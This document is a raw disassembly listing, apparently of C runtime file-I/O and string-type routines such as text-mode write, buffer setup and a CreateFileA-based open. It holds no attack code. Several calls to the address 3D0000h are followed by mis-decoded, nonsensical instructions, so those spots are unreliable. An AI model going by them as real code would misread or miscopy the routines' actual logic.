mov eax, [ebp+arg_0]
push eax
call sub_42DC20
add esp, 4
mov eax, [ebp+var_4]
loc_42DDAE: ; CODE XREF: sub_42DD30+4Aj
mov esp, ebp
pop ebp
retn
sub_42DD30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DDC0 proc near ; CODE XREF: sub_42DD30+64p
; sub_432CF0+145p
var_74DC8B40 = qword ptr -74DC8B40h
var_420 = dword ptr -420h
var_41C = byte ptr -41Ch
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 420h
mov [ebp+var_10], 0
mov eax, [ebp+var_10]
mov [ebp+var_420], eax
cmp [ebp+arg_8], 0
jnz short loc_42DDE6
xor eax, eax
jmp loc_42E02F
; ---------------------------------------------------------------------------
loc_42DDE6: ; CODE XREF: sub_42DDC0+1Dj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 20h
test ecx, ecx
jz short loc_42DE18
push 2
push 0
mov edx, [ebp+arg_0]
push edx
call sub_42B770
add esp, 0Ch
loc_42DE18: ; CODE XREF: sub_42DDC0+46j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
test eax, eax
jz loc_42DF4C
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov [ebp+var_C], 0
loc_42DE4D: ; CODE XREF: sub_42DDC0:loc_42DF45j
mov edx, [ebp+var_4]
sub edx, [ebp+arg_4]
cmp edx, [ebp+arg_8]
jnb loc_42DF4A
lea eax, [ebp+var_414]
mov [ebp+var_8], eax
loc_42DE65: ; CODE XREF: sub_42DDC0+115j
mov ecx, [ebp+var_8]
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jge short loc_42DED7
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jnb short loc_42DED7
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_41C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
movsx ecx, [ebp+var_41C]
cmp ecx, 0Ah
jnz short loc_42DEC1
mov edx, [ebp+var_420]
add edx, 1
mov [ebp+var_420], edx
mov eax, [ebp+var_8]
mov byte ptr [eax], 0Dh
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42DEC1: ; CODE XREF: sub_42DDC0+E1j
mov edx, [ebp+var_8]
mov al, [ebp+var_41C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
jmp short loc_42DE65
; ---------------------------------------------------------------------------
loc_42DED7: ; CODE XREF: sub_42DDC0+B6j
; sub_42DDC0+C1j
push 0
lea edx, [ebp+var_418]
push edx
mov eax, [ebp+var_8]
lea ecx, [ebp+var_414]
sub eax, ecx
push eax
lea edx, [ebp+var_414]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov eax, [edx+ecx]
push eax
call near ptr 3D0000h
fadd [ebp+var_74DC8B40]
dec ebp
lock add ecx, [ebp+var_418]
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
lea eax, [ebp+var_414]
sub edx, eax
cmp [ebp+var_418], edx
jge short loc_42DF38
jmp short loc_42DF4A
; ---------------------------------------------------------------------------
loc_42DF38: ; CODE XREF: sub_42DDC0+174j
jmp short loc_42DF45
; ---------------------------------------------------------------------------
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov [ebp+var_C], eax
jmp short loc_42DF4A
; ---------------------------------------------------------------------------
loc_42DF45: ; CODE XREF: sub_42DDC0:loc_42DF38j
jmp loc_42DE4D
; ---------------------------------------------------------------------------
loc_42DF4A: ; CODE XREF: sub_42DDC0+96j
; sub_42DDC0+176j ...
jmp short loc_42DF9C
; ---------------------------------------------------------------------------
loc_42DF4C: ; CODE XREF: sub_42DDC0+7Aj
push 0
lea ecx, [ebp+var_418]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
mov ecx, [eax+edx]
push ecx
call near ptr 3D0000h
movsd
test eax, eax
jz short loc_42DF93
mov [ebp+var_C], 0
mov edx, [ebp+var_418]
mov [ebp+var_10], edx
jmp short loc_42DF9C
; ---------------------------------------------------------------------------
loc_42DF93: ; CODE XREF: sub_42DDC0+1BFj
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov [ebp+var_C], eax
loc_42DF9C: ; CODE XREF: sub_42DDC0:loc_42DF4Aj
; sub_42DDC0+1D1j
cmp [ebp+var_10], 0
jnz loc_42E026
cmp [ebp+var_C], 0
jz short loc_42DFDA
cmp [ebp+var_C], 5
jnz short loc_42DFC9
call sub_4267E0
mov dword ptr [eax], 9
call sub_4267F0
mov ecx, [ebp+var_C]
mov [eax], ecx
jmp short loc_42DFD5
; ---------------------------------------------------------------------------
loc_42DFC9: ; CODE XREF: sub_42DDC0+1F0j
mov edx, [ebp+var_C]
push edx
call sub_426740
add esp, 4
loc_42DFD5: ; CODE XREF: sub_42DDC0+207j
or eax, 0FFFFFFFFh
jmp short loc_42E02F
; ---------------------------------------------------------------------------
loc_42DFDA: ; CODE XREF: sub_42DDC0+1EAj
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 40h
test eax, eax
jz short loc_42E00B
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
cmp edx, 1Ah
jnz short loc_42E00B
xor eax, eax
jmp short loc_42E02F
; ---------------------------------------------------------------------------
loc_42E00B: ; CODE XREF: sub_42DDC0+23Aj
; sub_42DDC0+245j
call sub_4267E0
mov dword ptr [eax], 1Ch
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42E02F
; ---------------------------------------------------------------------------
loc_42E026: ; CODE XREF: sub_42DDC0+1E0j
mov eax, [ebp+var_10]
sub eax, [ebp+var_420] ; CODE XREF: seg000:0042E0A6j
loc_42E02F: ; CODE XREF: sub_42DDC0+21j
; sub_42DDC0+218j ...
mov esp, ebp
pop ebp
retn
sub_42DDC0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42E040: ; CODE XREF: sub_423D90+98p
; sub_4262B0+ECp ...
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43A600
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE4h
push ebx
push esi
push edi
mov [ebp-18h], esp
cmp ds:dword_4EEBB8, 0
jnz short loc_42E0BE
lea eax, [ebp-1Ch]
push eax
push 1
push offset dword_43A2A8
push 1
call ds:dword_4F12CC ; GetStringTypeW
test eax, eax
jz short loc_42E092
mov ds:dword_4EEBB8, 1
jmp short loc_42E0BE
; ---------------------------------------------------------------------------
loc_42E092: ; CODE XREF: seg000:0042E084j
lea ecx, [ebp-1Ch]
push ecx
push 1
push offset dword_43A2A4
push 1
push 0
call near ptr 3D0000h
jb short near ptr loc_42E029+4
sal byte ptr [esp+ecx-39h], 5
mov eax, 2004EEBh
; ---------------------------------------------------------------------------
dw 0
dd 3307EB00h, 12AE9C0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E0BE: ; CODE XREF: seg000:0042E06Dj
; seg000:0042E090j
cmp ds:dword_4EEBB8, 2
jnz short near ptr loc_42E0F4+1
cmp dword ptr [ebp+1Ch], 0
jnz short loc_42E0D6
mov edx, ds:dword_4EEA70
mov [ebp+1Ch], edx
loc_42E0D6: ; CODE XREF: seg000:0042E0CBj
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
mov ecx, [ebp+1Ch]
push ecx
call near ptr 3D0000h
cmp cl, ch
rep add [eax], al
loc_42E0F4: ; CODE XREF: seg000:0042E0C5j
add [ebx+4EEBB83Dh], al
add [ecx], al
jnz loc_42E1E6
cmp dword ptr [ebp+18h], 0
jnz short loc_42E111
mov edx, ds:dword_4EEA80
mov [ebp+18h], edx
loc_42E111: ; CODE XREF: seg000:0042E106j
push 0
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+20h]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+18h]
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp-20h], eax
cmp dword ptr [ebp-20h], 0
jnz short loc_42E145
xor eax, eax
jmp loc_42E1E8
; ---------------------------------------------------------------------------
loc_42E145: ; CODE XREF: seg000:0042E13Cj
mov dword ptr [ebp-4], 0
mov eax, [ebp-20h]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41DEB0
mov [ebp-2Ch], esp
mov [ebp-18h], esp
mov ecx, [ebp-2Ch]
mov [ebp-24h], ecx
mov edx, [ebp-20h]
shl edx, 1
push edx
push 0
mov eax, [ebp-24h]
push eax
call sub_41D100
add esp, 0Ch
mov dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_42E19B
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov dword ptr [ebp-24h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
loc_42E19B: ; CODE XREF: seg000:0042E182j
cmp dword ptr [ebp-24h], 0
jnz short loc_42E1A5
xor eax, eax
jmp short loc_42E1E8
; ---------------------------------------------------------------------------
loc_42E1A5: ; CODE XREF: seg000:0042E19Fj
mov ecx, [ebp-20h]
push ecx
mov edx, [ebp-24h]
push edx
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
push 1
mov edx, [ebp+18h]
push edx
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 0
jnz short loc_42E1CE
xor eax, eax
jmp short loc_42E1E8
; ---------------------------------------------------------------------------
loc_42E1CE: ; CODE XREF: seg000:0042E1C8j
mov eax, [ebp+14h]
push eax
mov ecx, [ebp-28h]
push ecx
mov edx, [ebp-24h]
push edx
mov eax, [ebp+8]
push eax
call ds:dword_4F12CC ; GetStringTypeW
jmp short loc_42E1E8
; ---------------------------------------------------------------------------
loc_42E1E6: ; CODE XREF: seg000:0042E0FCj
xor eax, eax
loc_42E1E8: ; CODE XREF: seg000:0042E140j
; seg000:0042E1A3j ...
lea esp, [ebp-38h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E200 proc near ; CODE XREF: sub_423E50+A1p
; sub_424A30+137p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42E207: ; CODE XREF: sub_42E200+2Fj
cmp [ebp+arg_0], 0
jnz short loc_42E22B
push offset dword_4394FC
push 0
push 2Eh
push offset dword_43A60C
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_42E22B
int 3 ; Trap to Debugger
loc_42E22B: ; CODE XREF: sub_42E200+Bj
; sub_42E200+28j
xor eax, eax
test eax, eax
jnz short loc_42E207
mov ecx, ds:dword_4EE9C8
add ecx, 1
mov ds:dword_4EE9C8, ecx
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
push 3Bh
push offset dword_43A60C
push 2
push 1000h
call sub_41AE60
add esp, 10h
mov ecx, [ebp+var_4]
mov [ecx+8], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_42E286
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ecx, 8
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 1000h
jmp short loc_42E2AB
; ---------------------------------------------------------------------------
loc_42E286: ; CODE XREF: sub_42E200+69j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 4
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
loc_42E2AB: ; CODE XREF: sub_42E200+84j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42E200 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+10h]
mov [ebp-8], eax
mov ecx, [ebp-8]
add ecx, 4
mov [ebp-8], ecx
mov edx, [ebp-8]
mov eax, [edx-4]
mov [ebp-4], eax
mov dword ptr [ebp-8], 0
mov ecx, [ebp-4]
push ecx
push 40h
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42E310
add esp, 10h
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E310 proc near ; CODE XREF: sub_424520+2B0p
; seg000:0042E303p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
mov [ebp+var_24], 0Ch
mov [ebp+var_20], 0
mov eax, [ebp+arg_4]
and eax, 80h
test eax, eax
jz short loc_42E33D
mov [ebp+var_1C], 0
mov [ebp+var_38], 10h
jmp short loc_42E348
; ---------------------------------------------------------------------------
loc_42E33D: ; CODE XREF: sub_42E310+1Ej
mov [ebp+var_1C], 1
mov [ebp+var_38], 0
loc_42E348: ; CODE XREF: sub_42E310+2Bj
mov ecx, [ebp+arg_4]
and ecx, 8000h
test ecx, ecx
jnz short loc_42E381
mov edx, [ebp+arg_4]
and edx, 4000h
test edx, edx
jz short loc_42E36C
mov al, [ebp+var_38]
or al, 80h
mov [ebp+var_38], al
jmp short loc_42E381
; ---------------------------------------------------------------------------
loc_42E36C: ; CODE XREF: sub_42E310+50j
cmp ds:dword_4EECE4, 8000h
jz short loc_42E381
mov cl, [ebp+var_38]
or cl, 80h
mov [ebp+var_38], cl
loc_42E381: ; CODE XREF: sub_42E310+43j
; sub_42E310+5Aj ...
mov edx, [ebp+arg_4]
and edx, 3
mov [ebp+var_40], edx
cmp [ebp+var_40], 0
jz short loc_42E39E
cmp [ebp+var_40], 1
jz short loc_42E3A7
cmp [ebp+var_40], 2
jz short loc_42E3B0
jmp short loc_42E3B9
; ---------------------------------------------------------------------------
loc_42E39E: ; CODE XREF: sub_42E310+7Ej
mov [ebp+var_34], 80000000h
jmp short loc_42E3D7
; ---------------------------------------------------------------------------
loc_42E3A7: ; CODE XREF: sub_42E310+84j
mov [ebp+var_34], 40000000h
jmp short loc_42E3D7
; ---------------------------------------------------------------------------
loc_42E3B0: ; CODE XREF: sub_42E310+8Aj
mov [ebp+var_34], 0C0000000h
jmp short loc_42E3D7
; ---------------------------------------------------------------------------
loc_42E3B9: ; CODE XREF: sub_42E310+8Cj
call sub_4267E0
mov dword ptr [eax], 16h
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42E81A
; ---------------------------------------------------------------------------
loc_42E3D7: ; CODE XREF: sub_42E310+95j
; sub_42E310+9Ej ...
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
mov ecx, [ebp+var_44]
sub ecx, 10h
mov [ebp+var_44], ecx
cmp [ebp+var_44], 30h
ja short loc_42E422
mov eax, [ebp+var_44]
xor edx, edx
mov dl, ds:byte_42E832[eax]
jmp ds:off_42E81E[edx*4]
loc_42E3FE: ; DATA XREF: seg000:off_42E81Eo
mov [ebp+var_8], 0
jmp short loc_42E440
; ---------------------------------------------------------------------------
loc_42E407: ; CODE XREF: sub_42E310+E7j
; DATA XREF: seg000:0042E822o
mov [ebp+var_8], 1
jmp short loc_42E440
; ---------------------------------------------------------------------------
loc_42E410: ; CODE XREF: sub_42E310+E7j
; DATA XREF: seg000:0042E826o
mov [ebp+var_8], 2
jmp short loc_42E440
; ---------------------------------------------------------------------------
loc_42E419: ; CODE XREF: sub_42E310+E7j
; DATA XREF: seg000:0042E82Ao
mov [ebp+var_8], 3
jmp short loc_42E440
; ---------------------------------------------------------------------------
loc_42E422: ; CODE XREF: sub_42E310+DAj
; sub_42E310+E7j
; DATA XREF: ...
call sub_4267E0
mov dword ptr [eax], 16h
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42E81A
; ---------------------------------------------------------------------------
loc_42E440: ; CODE XREF: sub_42E310+F5j
; sub_42E310+FEj ...
mov ecx, [ebp+arg_4]
and ecx, 700h
mov [ebp+var_48], ecx
cmp [ebp+var_48], 400h
jg short loc_42E48C
cmp [ebp+var_48], 400h
jz short loc_42E4A9
cmp [ebp+var_48], 200h
jg short loc_42E481
cmp [ebp+var_48], 200h
jz short loc_42E4C4
cmp [ebp+var_48], 0
jz short loc_42E4A9
cmp [ebp+var_48], 100h
jz short loc_42E4B2
jmp short loc_42E4D6
; ---------------------------------------------------------------------------
loc_42E481: ; CODE XREF: sub_42E310+155j
cmp [ebp+var_48], 300h
jz short loc_42E4CD
jmp short loc_42E4D6
; ---------------------------------------------------------------------------
loc_42E48C: ; CODE XREF: sub_42E310+143j
cmp [ebp+var_48], 500h
jz short loc_42E4BB
cmp [ebp+var_48], 600h
jz short loc_42E4C4
cmp [ebp+var_48], 700h
jz short loc_42E4BB
jmp short loc_42E4D6
; ---------------------------------------------------------------------------
loc_42E4A9: ; CODE XREF: sub_42E310+14Cj
; sub_42E310+164j
mov [ebp+var_18], 3
jmp short loc_42E4F4
; ---------------------------------------------------------------------------
loc_42E4B2: ; CODE XREF: sub_42E310+16Dj
mov [ebp+var_18], 4
jmp short loc_42E4F4
; ---------------------------------------------------------------------------
loc_42E4BB: ; CODE XREF: sub_42E310+183j
; sub_42E310+195j
mov [ebp+var_18], 1
jmp short loc_42E4F4
; ---------------------------------------------------------------------------
loc_42E4C4: ; CODE XREF: sub_42E310+15Ej
; sub_42E310+18Cj
mov [ebp+var_18], 5
jmp short loc_42E4F4
; ---------------------------------------------------------------------------
loc_42E4CD: ; CODE XREF: sub_42E310+178j
mov [ebp+var_18], 2
jmp short loc_42E4F4
; ---------------------------------------------------------------------------
loc_42E4D6: ; CODE XREF: sub_42E310+16Fj
; sub_42E310+17Aj ...
call sub_4267E0
mov dword ptr [eax], 16h
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42E81A
; ---------------------------------------------------------------------------
loc_42E4F4: ; CODE XREF: sub_42E310+1A0j
; sub_42E310+1A9j ...
mov [ebp+var_28], 80h
mov edx, [ebp+arg_4]
and edx, 100h
test edx, edx
jz short loc_42E545
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
add ecx, 4
mov [ebp+var_2C], ecx
mov edx, [ebp+var_2C]
mov eax, [edx-4]
mov [ebp+var_10], eax
mov [ebp+var_2C], 0
mov ecx, ds:dword_4EE968
not ecx
mov edx, [ebp+var_10]
and edx, ecx
and edx, 80h
test edx, edx
jnz short loc_42E545
mov [ebp+var_28], 1
loc_42E545: ; CODE XREF: sub_42E310+1F6j
; sub_42E310+22Cj
mov eax, [ebp+arg_4]
and eax, 40h
test eax, eax
jz short loc_42E567
mov ecx, [ebp+var_28]
or ecx, 4000000h
mov [ebp+var_28], ecx
mov edx, [ebp+var_34]
or edx, 10000h
mov [ebp+var_34], edx
loc_42E567: ; CODE XREF: sub_42E310+23Dj
mov eax, [ebp+arg_4]
and eax, 1000h
test eax, eax
jz short loc_42E57C
mov ecx, [ebp+var_28]
or ch, 1
mov [ebp+var_28], ecx
loc_42E57C: ; CODE XREF: sub_42E310+261j
mov edx, [ebp+arg_4]
and edx, 20h
test edx, edx
jz short loc_42E593
mov eax, [ebp+var_28]
or eax, 8000000h
mov [ebp+var_28], eax
jmp short loc_42E5A9
; ---------------------------------------------------------------------------
loc_42E593: ; CODE XREF: sub_42E310+274j
mov ecx, [ebp+arg_4]
and ecx, 10h
test ecx, ecx
jz short loc_42E5A9
mov edx, [ebp+var_28]
or edx, 10000000h
mov [ebp+var_28], edx
loc_42E5A9: ; CODE XREF: sub_42E310+281j
; sub_42E310+28Bj
call sub_42D680
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42E5D5
call sub_4267E0
mov dword ptr [eax], 18h
call sub_4267F0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42E81A
; ---------------------------------------------------------------------------
loc_42E5D5: ; CODE XREF: sub_42E310+2A5j
push 0
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+var_18]
push ecx
lea edx, [ebp+var_24]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_34]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4F1380 ; CreateFileA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_42E621
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
call sub_426740
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_42DC20
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42E81A
; ---------------------------------------------------------------------------
loc_42E621: ; CODE XREF: sub_42E310+2ECj
mov ecx, [ebp+var_4]
push ecx
call near ptr 3D0000h
xchg eax, ebx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42E661
mov edx, [ebp+var_4]
push edx
call ds:dword_4F12FC ; CloseHandle
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
call sub_426740
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_42DC20
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42E81A
; ---------------------------------------------------------------------------
loc_42E661: ; CODE XREF: sub_42E310+322j
cmp [ebp+var_C], 2
jnz short loc_42E672
mov cl, [ebp+var_38]
or cl, 40h
mov [ebp+var_38], cl
jmp short loc_42E681
; ---------------------------------------------------------------------------
loc_42E672: ; CODE XREF: sub_42E310+355j
cmp [ebp+var_C], 3
jnz short loc_42E681
mov dl, [ebp+var_38]
or dl, 8
mov [ebp+var_38], dl
loc_42E681: ; CODE XREF: sub_42E310+360j
; sub_42E310+366j
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_14]
push ecx
call loc_42D870
add esp, 8
mov dl, [ebp+var_38]
or dl, 1
mov [ebp+var_38], dl
mov eax, [ebp+var_14]
sar eax, 5
mov ecx, [ebp+var_14]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov al, [ebp+var_38]
mov [edx+ecx+4], al
movsx ecx, [ebp+var_38]
and ecx, 48h
test ecx, ecx
jnz loc_42E7BF
movsx edx, [ebp+var_38]
and edx, 80h
test edx, edx
jz loc_42E7BF
mov eax, [ebp+arg_4]
and eax, 2
test eax, eax
jz loc_42E7BF
push 2
push 0FFFFFFFFh
mov ecx, [ebp+var_14]
push ecx
call sub_42B770
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_42E731
call sub_4267F0
cmp dword ptr [eax], 83h
jz short loc_42E72C
mov edx, [ebp+var_14]
push edx
call sub_4214B0
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_42DC20
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42E81A
; ---------------------------------------------------------------------------
loc_42E72C: ; CODE XREF: sub_42E310+3FAj
jmp loc_42E7BF
; ---------------------------------------------------------------------------
loc_42E731: ; CODE XREF: sub_42E310+3EDj
mov [ebp+var_30], 0
push 1
lea ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_4240D0
add esp, 0Ch
test eax, eax
jnz short loc_42E789
movsx eax, [ebp+var_30]
cmp eax, 1Ah
jnz short loc_42E789
mov ecx, [ebp+var_3C]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_432CF0
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_42E789
mov eax, [ebp+var_14]
push eax
call sub_4214B0
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_42DC20
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42E81A
; ---------------------------------------------------------------------------
loc_42E789: ; CODE XREF: sub_42E310+439j
; sub_42E310+442j ...
push 0
push 0
mov edx, [ebp+var_14]
push edx
call sub_42B770
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_42E7BF
mov eax, [ebp+var_14]
push eax
call sub_4214B0
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_42DC20
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42E81A
; ---------------------------------------------------------------------------
loc_42E7BF: ; CODE XREF: sub_42E310+3B0j
; sub_42E310+3C2j ...
movsx edx, [ebp+var_38]
and edx, 48h
test edx, edx
jnz short loc_42E80B
mov eax, [ebp+arg_4]
and eax, 8
test eax, eax
jz short loc_42E80B
mov ecx, [ebp+var_14]
sar ecx, 5
mov edx, [ebp+var_14]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
mov cl, [eax+edx+4]
or cl, 20h
mov edx, [ebp+var_14]
sar edx, 5
mov eax, [ebp+var_14]
and eax, 1Fh
imul eax, 24h
mov edx, ds:dword_4EED20[edx*4]
mov [edx+eax+4], cl
loc_42E80B: ; CODE XREF: sub_42E310+4B8j
; sub_42E310+4C2j
mov eax, [ebp+var_14]
push eax
call sub_42DC20
add esp, 4
mov eax, [ebp+var_14]
loc_42E81A: ; CODE XREF: sub_42E310+C2j
; sub_42E310+12Bj ...
mov esp, ebp
pop ebp
retn
sub_42E310 endp
; ---------------------------------------------------------------------------
off_42E81E dd offset loc_42E3FE ; DATA XREF: sub_42E310+E7r
dd offset loc_42E407
dd offset loc_42E410
dd offset loc_42E419
dd offset loc_42E422
byte_42E832 db 0 ; DATA XREF: sub_42E310+E1r
db 4
dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h
dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E870 proc near ; CODE XREF: sub_424A30+127p
; sub_4269E0+40p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4EEE20
jb short loc_42E882
xor eax, eax
jmp short loc_42E8A0
; ---------------------------------------------------------------------------
loc_42E882: ; CODE XREF: sub_42E870+Cj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx eax, byte ptr [eax+edx+4]
and eax, 40h
loc_42E8A0: ; CODE XREF: sub_42E870+10j
pop ebp
retn
sub_42E870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E8B0 proc near ; CODE XREF: sub_424CB0+3CAp
; sub_424CB0+B90p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4EED14
call ds:dword_4F1428 ; InterlockedIncrement
cmp ds:dword_4EED10, 0
jz short loc_42E8E8
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
push 13h
call sub_421A80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42E8EF
; ---------------------------------------------------------------------------
loc_42E8E8: ; CODE XREF: sub_42E8B0+18j
mov [ebp+var_4], 0
loc_42E8EF: ; CODE XREF: sub_42E8B0+36j
mov ax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42E930
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_42E915
push 13h
call sub_421B20
add esp, 4
jmp short loc_42E920
; ---------------------------------------------------------------------------
loc_42E915: ; CODE XREF: sub_42E8B0+57j
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
